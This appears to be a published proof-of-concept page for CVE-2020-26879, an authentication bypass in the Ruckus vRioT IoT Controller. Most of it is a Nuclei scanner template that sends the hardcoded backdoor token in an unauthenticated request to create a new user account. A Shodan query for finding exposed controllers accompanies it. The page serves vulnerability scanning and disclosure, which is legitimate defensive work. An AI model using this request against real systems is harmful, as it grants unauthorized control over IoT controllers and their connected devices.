CVE-2020-26879: Ruckus vRioT IoT Controller - Authentication Bypass

2025-08-01 Ruckus vRioT IoT Controller PoC Public

Description

Ruckus vRioT through 1.5.1.0.21 contains an API backdoor caused by a hardcoded token in validate_token.py,letting unauthenticated attackers interact with the API without authentication.

PoC

id: CVE-2020-26879

info:
  name: Ruckus vRioT IoT Controller - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Ruckus vRioT through 1.5.1.0.21 contains an API backdoor caused by a hardcoded token in validate_token.py,letting unauthenticated attackers interact with the API without authentication.
  impact: |
    Unauthenticated attackers can interact with the API without authentication via a hardcoded token, allowing complete control over the IoT controller and connected devices.
  remediation: |
    Update to Ruckus vRioT version 1.5.1.0.22 or later.
  reference:
    - https://adepts.of0x.cc/ruckus-vriot-rce/
    - https://adepts.of0x.cc
    - https://twitter.com/TheXC3LL
    - https://x-c3ll.github.io
    - https://github.com/alphaSeclab/sec-daily-2020
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26879
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-26879
    cwe-id: CWE-798
    epss-score: 0.45083
    epss-percentile: 0.98718
    cpe: cpe:2.3:a:commscope:ruckus_vriot:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: commscope
    product: ruckus_vriot
    shodan-query: html:"RIoT Controller"
  tags: cve,cve2020,ruckus,vriot,iot,api,backdoor,auth-bypass,vkev,vuln

variables:
  username: "{{randstr_1}}"
  password: "{{randstr_2}}"

http:
  - raw:
      - |
        POST /service/v1/createUser HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: OlDkR+oocZg=

        {"username": "{{username}}", "password": "{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"ok": 1}'
          - '{"message":'
        condition: and

      - type: word
        part: body
        words:
          - 'Invalid JSON'
        negative: true

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008fa0c1167a1a6506ee5f05323b1e0a184efa0c3ae75017e6d610aa903994b9d2022100fd224cc77ae14fb02036c0b99c217c2f54cb0c4982c0e3dad2d9ef85ee4b348b:922c64590222798bb761d5b6d8e72950

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